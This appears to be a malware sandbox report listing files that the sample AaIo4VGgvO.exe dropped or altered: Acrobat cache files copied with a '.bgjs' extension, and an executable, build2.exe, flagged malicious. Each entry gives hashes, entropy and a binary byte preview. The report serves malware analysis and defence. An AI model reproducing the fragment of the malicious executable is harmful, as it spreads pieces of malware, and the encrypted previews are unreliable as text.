Preview:	2023/[.L.....qf.,.^....S;....4<6...H.f..D..+hD..pO...E..;w~i.\|.@..I..X.....M.......N.WZvA...........IZg#q[.45.WG..DJ..v....\.......S..\|.^:T<....+-~U...eg..........>?y".4.?..()@!. .y.o."...D..n..Q..e...%~.M.C....hP..oR.....4m0.1..L1....n.._....Zzrb..p.T...}._...mn.N...F......w..}Ab.h..._g......5q........13....A..X....3.;?FO.D.. .....P..\.=.yh...2k../.?...eKrZ..}.F....O..0._..D"a.....*..!...d..N.=$G.l..P.h...p.......n..th...V..+...<.r.F..L....=.^n.>0X.c...=..b1.-y..[\.>.w^J.w;..x!......4c;.i..(.g8....'U..#.}.o.f=L...&..o<....a.....H..%....PGx...J^..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6666847971181475
Encrypted:	false
SSDEEP:	12:kDQhhrVM0gRQ1N9Yh1Da9Ar3WuXXeAYoEO5IcEVVC7sbJfmxC0Y+f1+cii9a:gQhlVhZdYvawHeAYTO55XsbJeq+sbD
MD5:	C82B6FC7210603F8278A6413525DB90E
SHA1:	4D0AA1FA78033403DA9B3A15478298F25D5D9ECC
SHA-256:	3933B0D1C449E9928E95C6E91416D315888FEA2B028E4C4578BF2702390D3534
SHA-512:	379A364872F9EEC60F6E7278BAC4004A1D7AD0B9FBA44556694D5AB2E9360F27CC83DDAC3B3124249DA8599C610F5C900393E56BC062171F22AE17E191992147
Malicious:	false
Preview:	2023/[.L.....qf.,.^....S;....4<6...H.f..D..+hD..pO...E..;w~i.\|.@..I..X.....M.......N.WZvA...........IZg#q[.45.WG..DJ..v....\.......S..\|.^:T<....+-~U...eg..........>?y".4.?..()@!. .y.o."...D..n..Q..e...%~.M.C....hP..oR.....4m0.1..L1....n.._....Zzrb..p.T...}._...mn.N...F......w..}Ab.h..._g......5q........13....A..X....3.;?FO.D.. .....P..\.=.yh...2k../.?...eKrZ..}.F....O..0._..D"a.....*..!...d..N.=$G.l..P.h...p.......n..th...V..+...<.r.F..L....=.^n.>0X.c...=..b1.-y..[\.>.w^J.w;..x!......4c;.i..(.g8....'U..#.}.o.f=L...&..o<....a.....H..%....PGx...J^..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.409099248343006
Encrypted:	false
SSDEEP:	12:1MwdrSFDLzA/TyVQpnZX9CYNES1rG7OZkhgYE361+cii9a:1HdrLyo9esrG7zh8BbD
MD5:	D62B13C5B7EBBD64BA133D195F673AA7
SHA1:	D9205288DFFE319E34DB962F49309DE807659F51
SHA-256:	6A0606BA2225D028E1C04B1791145D9B527338CFF09328D129111721C3FF6E39
SHA-512:	5F3A26DFEE91F023D177DAE4EAA17DCC4672AAAA3F746C4BD1C1087499842F75AD9BFD741B9D4D7F59397E587E553EA3A5FB941D13E16705D72050404FC1A17F
Malicious:	false
Preview:	S.z1.U!8.$.)C.90F.`8?.)..H.-...?.2/r.Q..~*w...ZK}.j...Q.....}WE..S..-..+V&2.+.N.].lFY...,C...p.#...QP..OH>^3.Wu=T...f...Ma.yW..V.K......u..u..Ap..0V....4........{......sB...K!F.>.>f.4X...n.f...1..M1P .".\|.;.'h0K........7..x....[.........A_..y...t.8.....5;A..3.S]....?9..C.3+...>...OV..W...v...L4..C....n......F.E.K...T.;.k>G1..a...k.....5H.@wS.QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.409099248343006
Encrypted:	false
SSDEEP:	12:1MwdrSFDLzA/TyVQpnZX9CYNES1rG7OZkhgYE361+cii9a:1HdrLyo9esrG7zh8BbD
MD5:	D62B13C5B7EBBD64BA133D195F673AA7
SHA1:	D9205288DFFE319E34DB962F49309DE807659F51
SHA-256:	6A0606BA2225D028E1C04B1791145D9B527338CFF09328D129111721C3FF6E39
SHA-512:	5F3A26DFEE91F023D177DAE4EAA17DCC4672AAAA3F746C4BD1C1087499842F75AD9BFD741B9D4D7F59397E587E553EA3A5FB941D13E16705D72050404FC1A17F
Malicious:	false
Preview:	S.z1.U!8.$.)C.90F.`8?.)..H.-...?.2/r.Q..~*w...ZK}.j...Q.....}WE..S..-..+V&2.+.N.].lFY...,C...p.#...QP..OH>^3.Wu=T...f...Ma.yW..V.K......u..u..Ap..0V....4........{......sB...K!F.>.>f.4X...n.f...1..M1P .".\|.;.'h0K........7..x....[.........A_..y...t.8.....5;A..3.S]....?9..C.3+...>...OV..W...v...L4..C....n......F.E.K...T.;.k>G1..a...k.....5H.@wS.QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.660453065339655
Encrypted:	false
SSDEEP:	12:kmdnclodlkF9fItPDLe+OOCEiJihj06wzYysUWEksy50MbI+1z7nFyAnik1+ciik:pBcl9FKtPDLhhCESN6wzYmWE5G/bI9A6
MD5:	07CFF6EB51CE7EA7F66FF50A5927936F
SHA1:	4C0A313F3E372F95B4BF53EDD2A7E58B79621C7E
SHA-256:	25BBE98EFDB661F786C306D5E6A26A4186CCEC007B5F8E0D7CF953D49FB26529
SHA-512:	200A49AE5588C0EC36A156917F0D41EF37C6F8E393C941C2E265AA2A3777592C3B41488E3DEF696ED6A33AC9675CD27BFC1E7812E8FE4972C8AAB0E3A18F677E
Malicious:	false
Preview:	2023/..~....[.e.x..._:..Y.N.d..ds>...a..1?C..y..u......9.z1.L..y.....M..$U.!..&...m.....y.DH..l.q..@.`..d^s.(...r.>...6.g...t+!.....).d...../.gL$'..!..9$#U...H..V4/...)/..x..9....$."..Q./.:....w.....`....3.oq./.[.PMe...Q..C...m...,0.+..M,.....].<.2....6....K..5....Y.T........%S....eO8..-.....O._..8A.;...yI..%..<.^.R....%..3..4.CqS.....~(...%..l.@V.f.T...U.L+3.XqE.h.....`.s......j`2mi.."d..^.m+..N.FeK...Z..~WG0..x.'#.@...y.N..n.....7q4..g....$(...gp..vce.MP#._.P.p.T*.:...2......;.9..u..Rn.}o.-ua...&.j#.;...[.2SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.660453065339655
Encrypted:	false
SSDEEP:	12:kmdnclodlkF9fItPDLe+OOCEiJihj06wzYysUWEksy50MbI+1z7nFyAnik1+ciik:pBcl9FKtPDLhhCESN6wzYmWE5G/bI9A6
MD5:	07CFF6EB51CE7EA7F66FF50A5927936F
SHA1:	4C0A313F3E372F95B4BF53EDD2A7E58B79621C7E
SHA-256:	25BBE98EFDB661F786C306D5E6A26A4186CCEC007B5F8E0D7CF953D49FB26529
SHA-512:	200A49AE5588C0EC36A156917F0D41EF37C6F8E393C941C2E265AA2A3777592C3B41488E3DEF696ED6A33AC9675CD27BFC1E7812E8FE4972C8AAB0E3A18F677E
Malicious:	false
Preview:	2023/..~....[.e.x..._:..Y.N.d..ds>...a..1?C..y..u......9.z1.L..y.....M..$U.!..&...m.....y.DH..l.q..@.`..d^s.(...r.>...6.g...t+!.....).d...../.gL$'..!..9$#U...H..V4/...)/..x..9....$."..Q./.:....w.....`....3.oq./.[.PMe...Q..C...m...,0.+..M,.....].<.2....6....K..5....Y.T........%S....eO8..-.....O._..8A.;...yI..%..<.^.R....%..3..4.CqS.....~(...%..l.@V.f.T...U.L+3.XqE.h.....`.s......j`2mi.."d..^.m+..N.FeK...Z..~WG0..x.'#.@...y.N..n.....7q4..g....$(...gp..vce.MP#._.P.p.T*.:...2......;.9..u..Rn.}o.-ua...&.j#.;...[.2SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.489150116795407
Encrypted:	false
SSDEEP:	12:GV0SMhJENxHk6YIrK/em5pSLFngnsf3dnPTBeMKmJuX1+cii9a:GYPErHk6YAdyS5gnEdP87mHbD
MD5:	202493DFCCC8CB333AC39816574E96B2
SHA1:	CD62800658A893B6EA021E7367B7B367C72129AB
SHA-256:	629FB299DBC0A22D4DF77AF01C191773D717D2A84C06085EA1F91BD2667C2488
SHA-512:	65BB128F77671D44800CE4ABCDB1D421449058DF9EF52265DD9C33A82E244D127D938ECE8AC1E9DACF7940732AA5C453AD14B2D50DAC92FAAF910361B889DB17
Malicious:	false
Preview:	.h.6.<..sX.N..&.\|..'..PL....{.+p.^.?.z#.@Xl\t.....b.:..@p..uRF...y~?.}%.A).X..)z..hS..r....&A...]......D'..b.zS.y..ng=\.(.6.L.....-.t...m6At...%tz.yf..$[Y...kk.[..T.H.w........~....87..w0o.w.n..A.l.?..r.............KXC.;nqj3t6.1.f...Cgb+.b.3...n.._I..Y..`..iS......@Q.......S..TLK..Wx.O.1...nkv./e1..:=%zm<.AvU..U:E..Kz..V..M..Z...g.5..5....&.,ss....L..^Z.a..`......+.O.7.{.g.o.G&R..1.L....\..\.B..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.489150116795407
Encrypted:	false
SSDEEP:	12:GV0SMhJENxHk6YIrK/em5pSLFngnsf3dnPTBeMKmJuX1+cii9a:GYPErHk6YAdyS5gnEdP87mHbD
MD5:	202493DFCCC8CB333AC39816574E96B2
SHA1:	CD62800658A893B6EA021E7367B7B367C72129AB
SHA-256:	629FB299DBC0A22D4DF77AF01C191773D717D2A84C06085EA1F91BD2667C2488
SHA-512:	65BB128F77671D44800CE4ABCDB1D421449058DF9EF52265DD9C33A82E244D127D938ECE8AC1E9DACF7940732AA5C453AD14B2D50DAC92FAAF910361B889DB17
Malicious:	false
Preview:	.h.6.<..sX.N..&.\|..'..PL....{.+p.^.?.z#.@Xl\t.....b.:..@p..uRF...y~?.}%.A).X..)z..hS..r....&A...]......D'..b.zS.y..ng=\.(.6.L.....-.t...m6At...%tz.yf..$[Y...kk.[..T.H.w........~....87..w0o.w.n..A.l.?..r.............KXC.;nqj3t6.1.f...Cgb+.b.3...n.._I..Y..`..iS......@Q.......S..TLK..Wx.O.1...nkv./e1..:=%zm<.AvU..U:E..Kz..V..M..Z...g.5..5....&.,ss....L..^Z.a..`......+.O.7.{.g.o.G&R..1.L....\..\.B..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.6486170766585655
Encrypted:	false
SSDEEP:	12:k8kqPPlwVcep04BKfhrsvPKtFzTXibZfc8OXckBjqWiw1+cii9a:JkqPP1ep0z2PKncO8IBjqWUbD
MD5:	6310A7BC889DF4A459D1370F137B57CF
SHA1:	DFF329DDC6101FDF6A82EA8250B1494BC1A0BE74
SHA-256:	A48D6F1254B86CC5BB56D49D6E067C617D03D4FF363765D44AA922598BBE75D1
SHA-512:	9D40260DAF9F044685C7E79D97299B81A73E2BE0E5EDED3842ECF0782091EC2F9F9D769DE22B7039234EAF4500711A1436A663AFACB649804A54B1584B18872A
Malicious:	false
Preview:	2023/...B.v....N1.6...zH........l...O:.C;.\..~.B.....n..$?....b.u..%n6...@.)..5....OHQ..(.\.h"....=.....y..T!..>./.W.....].}gD..>;.......jA..'........1....C.eB'...A.!M...k.bc........;...o..Y..iS...~..(..q..8.i...r.I..._...eiG.].q9/..4..O....%..?.....o.um.k.&.J.y.0.p.......C...S.....Sj..J.`9V.I...6.1..<cE....3m....\|\|...j1..2...c..o..Q.!W.p....N...../..iV>>..r.}...............E+.H.............M.1....!.2-g....p.P.5$...@GB.SP....pB_.cD7....51,}.{....?a.R$.../......?/h<b.v.1.7.....FY.<..S.......w.@.'n=.(.Oc-..k..K.f.,...M..#.`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.6486170766585655
Encrypted:	false
SSDEEP:	12:k8kqPPlwVcep04BKfhrsvPKtFzTXibZfc8OXckBjqWiw1+cii9a:JkqPP1ep0z2PKncO8IBjqWUbD
MD5:	6310A7BC889DF4A459D1370F137B57CF
SHA1:	DFF329DDC6101FDF6A82EA8250B1494BC1A0BE74
SHA-256:	A48D6F1254B86CC5BB56D49D6E067C617D03D4FF363765D44AA922598BBE75D1
SHA-512:	9D40260DAF9F044685C7E79D97299B81A73E2BE0E5EDED3842ECF0782091EC2F9F9D769DE22B7039234EAF4500711A1436A663AFACB649804A54B1584B18872A
Malicious:	false
Preview:	2023/...B.v....N1.6...zH........l...O:.C;.\..~.B.....n..$?....b.u..%n6...@.)..5....OHQ..(.\.h"....=.....y..T!..>./.W.....].}gD..>;.......jA..'........1....C.eB'...A.!M...k.bc........;...o..Y..iS...~..(..q..8.i...r.I..._...eiG.].q9/..4..O....%..?.....o.um.k.&.J.y.0.p.......C...S.....Sj..J.`9V.I...6.1..<cE....3m....\|\|...j1..2...c..o..Q.!W.p....N...../..iV>>..r.}...............E+.H.............M.1....!.2-g....p.P.5$...@GB.SP....pB_.cD7....51,}.{....?a.R$.../......?/h<b.v.1.7.....FY.<..S.......w.@.'n=.(.Oc-..k..K.f.,...M..#.`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	296782
Entropy (8bit):	7.620259427926183
Encrypted:	false
SSDEEP:	6144:9yOEbrbIKpPjonYO6W/SNYVBVIYA6iQeIL8EM:9NEEKVjonYODSihLfM
MD5:	6E11946C65A6DC826BE04D0CE1947F23
SHA1:	A83BEDEFE8F32634C374CD05DDBE11718FB7C57D
SHA-256:	1E71A7F9F146A985AEABE977E16716079F2CBC38577ED95A5790877B4820A781
SHA-512:	1AE8DC5FB22A6C0B4C144D3438452D5E2B725875218D04A160C593F3C92958E2FF09F8F8083E245B9E06D6628B55F3FBC5622DCD4A1A75B8DAFDFA5E0DE23906
Malicious:	true
Preview:	MZ...?.....[.O.S..&&L....2.n.>...<.q...{.7.^.3.......r:5.R....,/.......;....=.....I.....7Zn...<..U.5....1...OTvb...d:.;A.2tru....g......:..o41......G..W..4]..aJ3.xo.Gt.5.#.V...oi...Z...n....FB#.A....1..O..A.b..Ro~.....P....]3..Gk.V..jR...D.....h2.n..>F.,.x.X.C..L.4..!.....[~.n....$.>.h...q...$D.B.'d.........&....,.D...w..A.";.}.6.Z.Z.. 0.!;..:z1.n.G.......7...uiO.WT....T..f..<l...4..<R....e.i.=...g\|X.g..[..`u}.(.x3.H.s....t.....\|.Ha_......L....8..,.....7U.L.D.....l.L...,.,"-%.en...Q.....r...\rf.f.cY ...`a...........Oz....4J~...,..}]."Tsl..Ty.....Xb./.`.........?[.kb........jG.M6.....G..+.fWJ.I........Q......g..oR..E.~.L..n.....#i.XHU.e.........S.v......7...!T.In[.5I.....H...c...]....j....%)J....Y....n.}.b+.0\|.B.x..Ar... M.J.....~.w.P4..b.c}..0e..qo.b..hg....._..;.Q.Td9..?.x..OGZ...f)!.S...._.j......C..`.!...E.Yb?.Kv.^l...wI...b.g...(;h..)..eid.....F..=f.O..%5B..50..$..I..}.Me..C9.rF.=...c...*...C.u\|.16.H.=..^...g>.G..M

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.628781923559095
Encrypted:	false
SSDEEP:	12:kq+WUcZTA78koXUavphNaCY3Udp68YeA1RS8eSQVIXWX/SvQZ1+cii9a:TycO78koEavp+/WI87yRISQnX/ipbD
MD5:	C5D13A89264FA93006CC65E90FA4C666
SHA1:	C52748BC9DA253E9C6D0C5583C91E547924E25F3
SHA-256:	512C512D7BA312831125B44BC4A6BA8B3173AC716BB5671EE3148357A0E61609
SHA-512:	14AFC249537A4C0D482B6CE8283CDF133448D5DC222553A7C692DAAE0D3B97A65CD78CF114677C02435176E9F4FF269586B15391A3546BEB6DA580024CCDD4B1
Malicious:	false
Preview:	2023/S.=..zl.Ek.1sb.E.....r.P.OQ.'....o.W......b.b8P...=\|D~]......j..woi.....GW..7."..d..c!.?..x.?`....r=. ..{S..V]t{B.4...p.r._pJ.U...k....}.7..0D........]Uq..H...12....\..1....E..O_h......>.......B.d.....w.M.!I ...2..+...\C.....K..o....P{...X..b...x.l.5.nL-...b,.r..E...U.%....6.`!O`......C.,.^..'..\h[...%F.IP......"...P..N.4..0[.d.,>.......,.n.....}e{...$.IOR.~.......N.(..<.E..h.w.B.O..H.7$.v#_........o........Be.P.Oz"r.j.^ ...3).=..+C....-....z....1.Pf`b..6.....2W.w<D.x....).f...k>.\.j~..K.xb>]..kz..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.706943376637829
Encrypted:	false
SSDEEP:	24:YKWEb7Y0qBEoncPqJKTKrvJ0BKJRPqbaGfOcPw6sbD:YC7OK+tpRCb7OcPw6mD
MD5:	BF43A6BCBCC239DE7B1561CB275B8F73
SHA1:	F0027D6BE3F4E9745C81FF4ED59CB88D304EA98F
SHA-256:	3B91C2E1EEB9B5289FBEF505C5B6086B8ABE636BA03A6ADC22B7621600F545C0
SHA-512:	4764958B9BC6281A66C17C19072E6CFF9A2BBBBDE0FE592FDE23DEFE85984623BC69564DFA92066CAC8DEBF193D839DC37462186D9392B7FC18B6FADCDE026A8
Malicious:	false
Preview:	{"os_....j.{...5..G(KE.}7!...v..`{.m..3.K.r\|H.j....E...g...41".t.'.S=o..`...VO....x.<.............y\.R^....tA.'Z.V4..\.......SUl.......m...s!'~.Vx...3..=....X....Y`3....=..=.xf. ....1. f.!n...DH..#x\.w...;..Ot..NA..\|2.^.O..K..%...T.>...N...t.P.0..M..j....Lxx.3.6...fh..B..Lc..s,.........m.b....Q.'...V:\|.g.3H%1......U...C...X....$.oF.f\lu...=~.....J.=.z..'p#..9.......~.6...^JX2..<.c.........y.....L.-_....PQ..)..g.].../).....c..z..._4..rgP..O.W{......_LF@}`c...n.....s.x..3.^.?..:.....p..e..>....U...1.H\...........x.Y...yfY.....r8.A...S..K....r....<Io..:.X...#.\|1.....z.j&T..sj.}^.....8&}x....6V.\|.hU.m;X.....m*Q......z....?...I.72..!w...9...dJ..o..g.JK.=...0.O.O..pJ.....s.4n"\|tL.{...Q.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	730
Entropy (8bit):	7.7105160746244366
Encrypted:	false
SSDEEP:	12:S6lo2cG9pSn/mGYJ8zLupcknCbwCuaDN1d/Df2Rzj+5O/f7SfH3i+f1+cii9a:8eq/mn9xnCbUi1dD2ZCO/TSPyDbD
MD5:	EE138FBA8A5FC3FD62725EB11D6D39E4
SHA1:	01D65D9D0BCD63067FC040D911776EE6412F2FD8
SHA-256:	1114F323FF824608BC54BD577D233BCF323133B36FD609E09AF4B66AB0E60D5F
SHA-512:	5BA9CE2DECA2AFF170985E62CED19D8A8AF799C838BF3690F1A0F2F85375F09D2033D9FCF4677CD8832DAC9DDC06FCDC7B77D1A64106CB6D1390C92489BE04F8
Malicious:	false
Preview:	...#...'.Q....T...BX.m.]..5.q1cf.e.;.....E.G.j.?~....Sk]..>...M.=....QH.pY......!.GF....)<._A..a)...u3}.C8.(..N...+.A..T...................6....]d....O...VQ...}.O..1..L..HQ....s.^I\A..j.%.0wH..W'..._.....t....Z.>.......4.JK.4e.y.}..z.....u."..x....&.LY...o..K...K...8..G.f.x.c..:..F.a.@. .T..45...=^.F.....\|.S..,. .$.K.fF....X...\|.zXi......`.A.#A.4......6...+b.bD3.M.......@...\n../..#..BRNF...MOM.... ....g....Pl..mb.......W.#/..gy.8J;..........o...S.=...C.hD..g~AP!.j.J.....(\).H{...\>e.m.7..S9%<\...>M3O.~..>.....]F..6...x.....}...E.<F.q=..Z.i.z.=e.?E.(/.b...G...i...y.g.... ..?F(;.RJ...G....S.)\|.....,...}}"h.ttSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.645296405827228
Encrypted:	false
SSDEEP:	12:kKmnXSki2f8YWu87IV7o7N2LlUFgQBse4n3321xPBFVwWpUz5PyG1hN1+cii9a:pmnX5ErIBoZ2eNBsZ+bxiN6SGbD
MD5:	73F1C099A87613C1ABD243FDEE297A54
SHA1:	F9A18C214C4EAC94FDD19D8A5A217D1CFF3940BB
SHA-256:	EC8C6CFA3DC7BCB1702A1A87040657AEE37DE2C07583CB8BD98FC6E02F823A63
SHA-512:	2D1206AB55D54D694C9186554080BE62DF407D5B96468ADEC2C49C524D27BABF3253787E83DFD5C3892090970B05FCFE28D5B1424DED4E479690525B5F2E6A65
Malicious:	false
Preview:	2023/.C....X.......T..T....9h.!:...E%<.<".......s.....&@....E..H.dW./1.h.,t#......A=Z.....^..!..88.6.^%k..\g...A.1..~s..C.3.....I.9..t.j.s.D._..c3...{.$...^yvBF.d..L..Yx.y.....[..h.....~.UM7.....x..Z.......X...b..A...8..,..ITsQ.a,=mh....._...8....`..)..Q..#...z.>Y..+H.....}.83.b..^....4.x.\|.N...r.J.]S.b4...0.......m\|p<Xz....%.2d.CL.-]. .]..Rz.....E.b...AgK#LU.(..M..W...a1y8.dI.j.%..a..:..u....Ui...e.......).....I`s..;M.S..O.0K.2..`.,...Z.<.#.K.[...G.~...-.2.....#5......x.R7W..5.h..4\'W...\|. \|....z....6UX*}.G..%. .F.n...n'....W.F..G.{p..P!.....5`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.875582721861139
Encrypted:	false
SSDEEP:	48:JDpRVM0bf5G8Ns6IXDIwih4axRcGw4utszCvptD:JDRM0Lt+DoSaXI4uWevpV
MD5:	1AEC0EB0FE275C4875EFE9244839AD57
SHA1:	9A995C44DAA9F60CE3DEDE046C754D7251EF9930
SHA-256:	C6DD70708764DF4135E6A5F74927465C4E37F8ACC84F0BF2A192E84EE19AE997
SHA-512:	874D0575A5A946A7E4286E4233A062B211A6F9A2413BDF5B1D9328BA105BEAF433364C23B9BF7D8F0E998901B910E1A7436BBBE59DB46AAE2CB3DE37D7980705
Malicious:	false
Preview:	%!AdoJ.>.B(.ML,K......e...e./:..<..S4H /..LW.CC.~.~3i}B.\NAQe.[.E....3.....\|q..{8.l.L.v.p_J9..:H..6:..jpr.1..?mfc....R%.j..j.t7..6ep.{.....d.k...#...7..]...O...e@[.%d'./<.?B.x...P....Uv.b..E.JK....^..B..q........4.#W...r.%.W..A}w.TV/.!.^.....+4..U:P....\|....)....m.tp]{I..........>.+\|#v...$....X...U.Z..]).....h.....5..b9.U..\..;.....}.,F/..>/...........!?..u.M.8=.gU..ylj.SZ.-.i.`i....'...E...c8..j..x.n.h-.t.P.....>.G.L.h0.m7...o......N..B2..q..". .e.q.UPf....]4.e.m..l..e......U..(......{....Z.j..'..~....y......b.c.'...:.Z@.P... .G...V.I.h1..E.Z]"ZR(.@..W.Y..v.K...m..............l..uX..q.^"}Z...].P........O5...{\|.......T<,..T...".[..#?.\|._.....5Vk...'...kw.A.....m.....0.p..u.....f!..J.U.H.U%..9...Vg.<..4..../u..V...'.3Ei..+K.#..).....F.].YC.....Q..N...z.v........WV.Qd...}. gG.xL.T.8..{..bW.+.=y.s.$..)..y..n.Q.K.Y3.J45.r.;....zT9..0=..c.tf(..t(.Ek.?..y...;z;WH2M..L..K....v...k......:E[\e.8..17bM...jZ....?.p.....0...^.`..g.SZ.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.878414803637188
Encrypted:	false
SSDEEP:	3072:FyIlPzz4gv8z/zTQXeaeW2DxWc744yNirOTCWXKGm9jt1shXE07ZmandGCyN2mMt:FVz0g0jQX5etDxWcYOmmpkXE07ZmandF
MD5:	4E4F3F2D878997D8A16B760ECFE23102
SHA1:	86DDFB5BAA69C7B6B6CA4BCC8571E3D6CF583A35
SHA-256:	74BB18F39B521125E9DC3BDD2C748DF276A7C7074634C90CAB633574393396A8
SHA-512:	65FF2B06946D2E227785C3CC193601BFDA8AC10D9D76093D6AEC4CDB0AF83214D700EC5C6FD64ED50615B6CF263E1112CF68AAB09C7201A42056DE01ECB7D9C9
Malicious:	false
Preview:	%!Ado..c. '.].N&...K......c.(Mx.._q..%.R.)....(-.bmC0........1I/w...u......0.v.H......K.............E0...23...k......t8).6..=c.e.L...!.1.b......N=..r\..W$....p..9......;..og..X..t.V..JdOU...~..C..=1....&.&..@.......k,.....7.`.'........P.m.....A/.+..h.l.'.sR....8t...Jj.T.bR.M.k.+...#k....4B..F....i0.....4.7u:[r.#.\|a.f.s..`\|..+F.mw.x..Qm...O.fV..C.l..&..Z..R..31..i.l..!.~...,...aHV....qK......?..=gM*/9.......d...(N.,"=.........^.d.~.bs.j.......]....4.2z.2.9..3MD....x.v..j....F/......]....Zmy......k..._y>U..3.......6.\|.S>%....O.....vA.3b.......$k(...W...$.tti..8.......,>.[reM.{..?/J.f.jfz.mG..x...?;;.d.......c...r.9X.M.<........)G._..Zo...Bk.N.F8K...&x'.......o.....4.X-......o.o......o.]......I.T....!..r....2.`v7.....L..YI.IhK.....\|..l+r............... 